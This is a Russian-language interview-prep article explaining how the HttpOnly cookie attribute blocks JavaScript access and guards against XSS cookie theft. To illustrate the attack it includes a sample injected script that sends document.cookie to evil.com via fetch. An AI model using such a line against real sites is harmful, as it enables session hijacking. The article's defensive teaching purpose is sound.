Как работает атрибут HttpOnly у cookies?

👨‍💻 Frontend Developer 🟠 Может встретиться 🎚️ Средний
#JavaScript #Браузер #База JS

Краткий ответ

Атрибут HttpOnly у cookie запрещает доступ к ней через JavaScript. Такая cookie передаётся только в HTTP запросах на сервер. Это защищает от украдки cookie через XSS атаки. 🔐

// HttpOnly cookie устанавливает только сервер!
// Set-Cookie: token=abc123; HttpOnly; Secure
 
// В браузере такая cookie НЕ видна:
console.log(document.cookie); // Не содержит HttpOnly cookie!

Полный ответ

HttpOnly — как сейф, ключ от которого есть только у банкира (сервера), но нет у клиента (JavaScript). 🔒

Что делает HttpOnly

Атрибут HttpOnly запрещает JavaScript получать доступ к cookie:

// Обычная cookie — доступна в JavaScript
document.cookie = 'normal=value';
console.log(document.cookie); // 'normal=value' — видно!
 
// HttpOnly cookie — НЕ доступна в JavaScript
// Устанавливается только сервером:
// Set-Cookie: secret=abc123; HttpOnly
 
console.log(document.cookie); // 'normal=value' — HttpOnly НЕ видно!

Как устанавливается HttpOnly

Только сервер может установить HttpOnly cookie:

HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/

Зачем нужен HttpOnly

Защита от XSS атак

// ❌ Без HttpOnly — злоумышленник может украсть cookie
const cookies = document.cookie; // Видит все обычные cookies
sendToEvilServer(cookies); // Отправляет на сторонний сервер
 
// ✅ С HttpOnly — cookie не видны в JavaScript
const cookies = document.cookie; // HttpOnly cookie НЕ видны!
// Злоумышленник не может их украсть

Пример XSS атаки

// Злоумышленник внедряет код:
<script>
  // Крадёт обычные cookies
  fetch('https://evil.com/steal?cookies=' + document.cookie);
</script>
 
// Если cookie обычные — украдётся всё!
// Если cookie HttpOnly — не украдётся ничего!

Когда использовать HttpOnly

Авторизационные токены

// ✅ Хорошо — токены сессий как HttpOnly
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/
 
// Повышает безопасность приложения

Важные данные

// ✅ Хорошо — любые чувствительные данные
// Set-Cookie: userId=123; HttpOnly; Secure

Когда НЕ использовать HttpOnly

Данные для JavaScript

// ❌ Плохо — если JavaScript должен читать cookie
// Например, настройки темы
document.cookie = 'theme=dark'; // Должна быть доступна в JS
 
// Нельзя сделать HttpOnly, иначе JS не увидит её

Частые ошибки

Пытаться установить HttpOnly через JavaScript

// ❌ Ошибка — HttpOnly НЕ устанавливается через JavaScript
document.cookie = 'token=abc123; HttpOnly'; // Игнорируется!
 
// ✅ Правильно — только сервер устанавливает HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure

Смешивать важные и неважные данные

// ❌ Плохо — всё в обычных cookie
document.cookie = 'token=abc123'; // Можно украсть
document.cookie = 'theme=dark';   // Нужна в JavaScript
 
// ✅ Лучше — разделить
// Сервер: Set-Cookie: token=abc123; HttpOnly; Secure
// Клиент: document.cookie = 'theme=dark'

Простые правила

  1. HttpOnly — только сервер может установить 🛡️
  2. JavaScript — НЕ видит HttpOnly cookie 🚫
  3. Безопасность — защищает от XSS атак 🔐
  4. Авторизация — токены лучше делать HttpOnly ✅
  5. Доступ в JS — если нужно в JavaScript, НЕ используй HttpOnly ⚠️

Понимание HttpOnly помогает писать более безопасные веб-приложения! 💪


Хотите больше статей для подготовки к собеседованиям? Подписывайтесь на EasyAdvice, добавляйте сайт в закладки и совершенствуйтесь каждый день 💪